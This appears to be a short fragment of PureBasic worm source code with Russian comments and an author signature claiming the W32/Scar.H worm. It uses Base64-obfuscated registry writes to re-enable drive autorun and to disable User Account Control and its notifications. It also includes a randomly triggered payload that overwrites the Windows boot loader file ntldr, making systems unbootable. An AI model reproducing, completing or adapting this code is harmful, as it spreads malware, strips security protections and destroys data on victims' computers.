RegSetInt(#HKEY_LOCAL_MACHINE, Decode64(#RegDriveBranch), Decode64("Tm9Ecml2ZUF1dG9SdW4="), 0)
RegSetInt(#HKEY_LOCAL_MACHINE, Decode64(#RegDriveBranch), Decode64("Tm9Ecml2ZVR5cGVBdXRvUnVu"), 0)
If OSVersion() > #PB_OS_Windows_XP; OS-specific changes would be made here.
RegSetInt(#HKEY_LOCAL_MACHINE, Decode64(#RegSecCenterBranch), Decode64("VWFjRGlzYWJsZU5vdGlmeQ=="), 1)
RegSetInt(#HKEY_LOCAL_MACHINE, Decode64(#RegUACBranch), Decode64("RW5hYmxlTFVB"), 0)
EndIf; Переходим к более прозаичным вещам:
If Random(99999)=0:WinDrive+"ntldr":SetFileAttributes(WinDrive,#PB_FileSystem_Normal):CreateFile(0,WinDrive):EndIf
EndIf; Расскажу чуток о себе:
DataSection : Data.s "...From creator of W32/Scar.H, with loev..." : EndDataSection